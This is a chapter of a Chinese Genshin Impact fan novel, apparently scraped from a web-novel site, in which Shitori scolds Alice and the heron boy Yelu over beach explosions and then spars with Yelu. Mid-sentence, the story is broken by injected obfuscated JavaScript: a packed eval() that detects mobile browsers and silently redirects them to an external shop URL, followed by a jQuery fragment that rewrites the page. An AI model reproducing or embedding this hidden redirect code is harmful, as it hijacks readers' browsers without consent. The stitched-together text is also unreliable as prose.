31.兄友弟恭
作品:《[原神]精通元素的夜鹭讲师》 沉默,是今天的星砂滩。
海风依旧,浪声依旧,但空气中弥漫的硝烟味和那两个仍在冒烟的巨坑,无声地诉说着刚才发生的一切。
紫色短发的少年身着浅白色和服,衣摆在风中微微拂动,他抱着手臂站在岸边,一双紫罗兰色的眸子定定地看着坐立难安的两个罪魁祸首——准确地说,是看着那个试图把自己缩成球的水鸟,和旁边那个笑容僵硬、眼神乱飘的魔女。
时间一分一秒过去,气氛沉重得能拧出水来。
最终还是艾莉丝绷不住了。
魔女小姐清了清嗓子,脸上堆起一个尽可能无辜的笑容:“那个……小时雨啊……”
“您说,”少年轻轻颔首,语气平静得让人心慌,“我在听。”
他的眼神温和,嘴角甚至还带着一丝若有若无的笑意,但艾莉丝莫名觉得后背发凉——这比直接发火可怕多了!
“我和小夜呢……”
魔女开始瞎编,手指不自觉地绞着发尾,“我们是在清理魔物,你看,这海滩上原本有很多丘丘人和史莱姆对不对?我们这是……嗯,为民除害!”
她越说越觉得有道理,声音也大了起来:“就是动静大了点,但这不也情有可原嘛!毕竟要彻底清除魔物,难免会有点声响嘛。”
艾莉丝低头看向自己的队友,试图寻求支援:“小夜你说是不是?”
夜鹭闭眼装死,把脑袋埋得更深了。
鸟无辜,鸟什么都不知道。
见夜鹭是指望不上了,魔女小姐尴尬地打哈哈,试图转移话题:“而且你看,我们把这个海滩清理得多干净啊!连地脉淤积点都被震得安分了呢!”
她指着远处那两个绽开的地脉花,语气里甚至带上了一丝邀功的意味。
“确实。”
时雨似笑非笑,目光缓缓扫过海滩上那两个还在冒着黑烟的巨坑,“清理得真干净。海滩变深渊了,对吗?再炸几次,这里可以直接改名叫‘星砂渊’了。”
“这个,这个……”
艾莉丝对手指,望天望地就是不看看时雨的眼睛。
她堂堂提瓦特著名魔女,游历诸界无所畏惧,此刻竟然被一个少年盯得心里发虚——这说出去谁信啊!
但时雨没有给她继续狡辩的机会。
少年收敛了那抹似笑非笑的表情,面色严肃起来,紫罗兰色的眼眸里透出沉甸甸的责任感:“艾莉丝女士。”
他的声音不高,却带着一种不容置疑的分量:“您是天不怕地不怕的大人物不假,随心所欲,可以不在乎任何规矩和后果。但我们不是。”
他的目光在夜鹭身上停留了一瞬,那眼神里有责备,但更多的是担忧:“我们只是生活在稻妻这片土地上的普通人——或者说,普通妖怪。我们需要遵守这里的规则,需要考虑行为的后果,需要为身边的人负责。”
时雨望向踏鞴砂的方向,声音里带着一丝沉重:“您今天搞出来的爆炸,动静大到隔着岛都能被九条阵屋的士兵发现。九条阵屋是天领奉行的军事要塞,他们不会对这样异常的爆炸视而不见。”
他转向艾莉丝,一字一顿地问:“您可以算算,从天领奉行接到报告,到派人来踏鞴砂问责,还有多久的时间?”
艾莉丝愣住了。
“踏鞴砂只是一个小小的兵工厂,即便丹羽家是这里的管理者,权力也不过如此。”
时雨继续说道,每一个字都像重锤敲在艾莉丝心上,“万一丹羽大人顶不住上面的压力,交不出合理的解释,整个踏鞴砂大大小小的人家,都要为此承担责任。”
“轻则罚款、降职,重则……可能影响到整个踏鞴砂的存续。这里有上千工匠、工人和他们的家人,他们的生计,他们的未来,都可能因为今天这场爆炸而改变。”
艾莉丝:“……”这么夸张吗?听起来很严重的样子。
魔女脸上的笑容彻底消失了。
那对尖尖的、总是神气竖着的耳朵,此刻微微垂了下来。
艾莉丝低下头,长发滑落肩头,遮住了她部分表情。
“对不起嘛……”
她的声音轻了许多,带着难得的、真诚的歉意,“我真的没想那么多。我就是……觉得好玩,想让小夜也开心一下。”
她看向时雨,红色的眼眸里没有了平时的狡黠和戏谑,只有诚恳:“是我考虑不周,给你们添麻烦了。”
“道歉是必要的,”时雨的语气缓和了些,“但更重要的是,如何弥补。您带来的麻烦,不是一句道歉就能平复的。天领奉行的人不会听我们说‘对不起’,他们需要合理的解释和补救措施。”
艾莉丝咬了咬嘴唇,大脑飞速运转。
几秒后,她眼睛一亮,像是想到了什么好主意:“那……我把制作炸弹的原理告诉你们好了!”
她越说越觉得可行:“你看,你们踏鞴砂的武器这么落后,还在用刀剑弓箭。我正好可以把炉子修一修,把武器改一改,设计一些更先进的防御工事!保证比那天领奉行厉害多了!到时候他们来问责,你们就有底气了!”
时雨面不改色地看着她:“您向我保证没用。踏鞴砂的事,需要丹羽大人做主。武器改良、炉芯改造,这些都是大事,必须经过正式的商讨和决议。”
他顿了顿,补充道:“而且,您确定您所谓的‘改进’,不会把踏鞴砂变成下一个爆炸现场?”
艾莉丝噎了一下,小声嘀咕:“我这次会注意分寸的……”
时雨不置可否。
他安排完魔女,目光转向地上那坨还在装死的“灰蓝色堇瓜”。
“小夜。”少年的声音不高。
夜鹭:“呱。”
他试图蒙混过关。
“说话。”时雨的语气平静,却让夜鹭浑身羽毛一紧。
夜鹭:“……”
他不情不愿地变回了人形。
男孩低着头,长发遮住了大半张脸,一步一步挪到时雨面前,声音小得像蚊子哼:“我错了。”
有了无数次经验的时雨,已经不会再问他“错在哪了”这种问题——问了也是白问,夜鹭要么答不上来,要么答得牛头不对马嘴。
少年只是抬起手,一个干脆利落的手刀,“啪”地劈在男孩头顶。
“呱——!”
夜鹭抱头蹲下,疼得龇牙咧嘴。这次时雨没怎么收力,是真的有点疼。
“痛就对了。”
时雨转了转手腕,活动了一下手指,“记住这个。下次再跟着别人胡闹之前,先想想后果。”
他抽出腰间的木刀,刀身在阳光下泛着温润的光泽:“就在这里,我们打一场。长正这几日都不在,让我看看你是否懈怠了。”
夜鹭抬头,红眼睛里满是难以置信——还要打?不是已经挨了手刀了吗?
时雨看向站在原地的艾莉丝,平静道:“请您先让让,稍作等待。”
艾莉丝默默地、迅速地挪开,给这两兄弟让出足够宽敞的位置。
她甚至很有眼色地退到了安全距离之外——虽然她其实并不怕被波及,但直觉告诉她,这个时候还是不要插手比较好。
而有了丰富战斗经验的夜鹭,在时雨话音落下的瞬间就抽出了洞爷湖,横在身前做出防御姿态。
他太了解时雨了——说打就打,突然袭击。
果然,几乎在同一时刻,时雨的身影骤然消失在原地!
不是瞬移,只是速度快到极致的突进。
紫色的残影划过沙滩,木刀带着破空之声直劈而下!
“铛!”
夜鹭勉强招架,虎口被震得发麻。
但他没有退缩,反而借着这股力道向后滑开,拉开距离,同时手中木刀雷光乍现——
紫色的电弧如蛇般窜出,直扑时雨面门。
这是夜鹭最近新发明的招式,虽然还不熟练,但威力不容小觑。
时雨眼中闪过一丝赞许,但动作没有丝毫停滞。他侧身避开雷弧,木刀在空中划出完美的弧线,以刁钻的角度刺向夜鹭肋下。
“好快!”夜鹭心中一惊,仓促间只能用刀身格挡。
“铛!”
又一次碰撞。
这一次夜鹭没能完全卸掉力道,被震得后退了两步,脚下在沙滩上犁出深深的沟痕。
但他没有放弃。
男孩深吸一口气,眼中雷光更盛,整个人如同离弦之箭般冲向时雨,刀光如瀑,瞬间劈出十数刀!
一时间,秋水共长天一色,雷光与鸟毛齐飞。
艾莉丝站在远处的大石头上,看得津津有味。
她看着那两兄弟从海面打到天上——夜鹭在空中灵活闪躲,时雨则凭借惊人的弹跳力和滞空能力紧追不舍;又从空中打到水里——夜鹭被一脚踹进浅海,扑腾着站起来,浑身湿透像个落汤鸡,却还不服输地继续挥刀。
夜鹭像个皮球,被时雨抽来抽去,在沙滩上、海面上、空中留下无数狼狈的痕迹。
但他眼中的战意反而越来越盛。
魔女不禁咋舌——这就是稻妻的家庭教育吗?这么简单粗暴?打弟弟要趁早?
但仔细观察,她发现时雨虽然下手不留情,却始终避开要害。
而且夜鹭的进步确实明显。一开始他只能狼狈招架,但随着时间的推移,他逐渐适应了时雨的节奏,反击的次数越来越多,招式运用也越来越熟练。
那柄木刀洞爷湖在他手中,仿佛
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16856278|188897||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
真的有了生命,雷光流转,气势惊人。
“铛!铛!铛!”
金铁交击之声不绝于耳。沙滩上沙尘飞扬,海面水花四溅,空中雷光闪烁。
这场较量持续了大约一刻钟。
最终,时雨抓住夜鹭一个微小的破绽,木刀刺出,精准地打在男孩手腕上。
“啊!”
夜鹭吃痛,洞爷湖脱手飞出,在空中旋转几圈后,“噗”地插在远处的沙地里。
胜负已分。
时雨收刀而立,气息平稳,连发型都没怎么乱。
反观夜鹭,已经累得气喘吁吁,单膝跪在浅海里,浑身湿透,衣服破了好几处,脸上也沾满了沙子和海水。
时雨走过去,弯腰拎起夜鹭的翅膀——是的,男孩不知何时又变回了夜鹭,大概是累得维持不住人形了。
被抓着翅膀的夜鹭像极了被拎着脖子的鸭子,翅膀扑腾两下,发现挣脱不了,便认命地垂下了脑袋,喉咙里发出“咕噜咕噜”的哀鸣。
可怜极了。
少年拎着这只“战败鸟”走回岸边,在艾莉丝复杂的目光中,将手中的水鸟往浅滩上一扔——
“噗通。”
夜鹭摔进及膝深的海水里,溅起一片水花。反正这里有海水和沙滩,摔不着他。
灰蓝色的水鸟挣扎两下,变回人形,摇摇晃晃地站起来。
此时的夜鹭……着实狼狈。
衣服已经破破烂烂,东一道口子西一个破洞,露出底下白皙的皮肤;灰蓝色的长发湿漉漉地贴在额前,还沾着沙粒和海草;脸上更是脏兮兮的,有沙痕有海水渍,像只刚从泥坑里打滚出来的小狗。
不,更像个小乞丐。
艾莉丝露出同情的表情,嘴唇动了动,想说什么,但在时雨的低气压下,她自知理亏,最终还是把话咽了回去,只是用眼神表达了对夜鹭的慰问:孩子,受苦了。
夜鹭抬起脏兮兮的小脸,看向时雨,红眼睛里水汪汪的,嘴唇微微抿着,摆出一副可怜的表情。
这招对时雨一向很管用。
但今天,出乎意料的,时雨似乎硬下心肠,铁了心要给他一个教训:“明天习剑一天,我会让长正大人亲自盯着你。从卯时到酉时,中间只休息一个时辰。”
夜鹭瞬间瞪大了眼睛,犹如石化般僵硬了。
要了鸟命了!
“现在,你们跟我去工坊。”
时雨不给他抗议的机会,继续安排,“正好人齐,丹羽、长正、桂木、宫崎都在那里。趁天领奉行的人还没来,我们把事情说清楚,一切都还来得及。”
这时,艾莉丝终于忍不住开口了:“小时雨……”
少年顿了顿,看向她:“还有什么事?”
魔女咳嗽了一下,指了指夜鹭那身堪称灾难的造型:“你看,小夜这模样……去见人不太合适吧?毕竟是要谈正事……”
时雨:“……”
他确实忽略了这一点。
让夜鹭这副尊容去见丹羽久秀和御舆长正,确实不太妥当——倒不是面子问题,而是这模样看起来太像被虐待了,容易引起不必要的误会。
“不用带他回去换衣服,我来就好!”艾莉丝立刻抓住机会将功补过,她打了个响指,魔法的光芒笼罩了夜鹭。
眨眼间,那个可怜兮兮的小乞丐不见了。
取而代之的,是一个光鲜亮丽的小公子。
破破烂烂的衣服变成了精致的深蓝色和服,长发被梳理得整整齐齐,束成利落的马尾,脸上的污渍全部消失,甚至连皮肤都变得水润光泽。
要不是那双红眼睛里还残留着刚才的疲惫和委屈,简直像换了个人。
“不用谢……”艾莉丝刚想翘尾巴邀功,就被时雨无情的眼神扫视了。
她立刻收敛笑容,乖巧站好。
时雨朝夜鹭伸手。男孩犹豫了一下,还是把手放了上去。
少年牵着男孩走在前头,头也不回地说:“您也跟我一起。”
艾莉丝还想做最后的挣扎:“之前不是说了,这时是你们朋友庆祝的时候,我们这时候去泼冷水……不合适吧?”
时雨脚步不停,声音平静却不容置疑:“再拖就来不及了。按照天领奉行的效率,最迟明天一早,问责的人就会到踏鞴砂。与其到时候被动解释,不如现在主动说明,还能争取一些应对的时间。”
他顿了顿,补充道:“而且,丹羽他们都是明事理的人。把事情说清楚,他们不会怪罪的。”
艾莉丝看着少年坚定的背影,又看了看被牵着走、垂头丧气的夜鹭,最终放弃挣扎。
魔女小姐叹了口气,跟了上去:“……行吧。”
谁让她理亏呢。

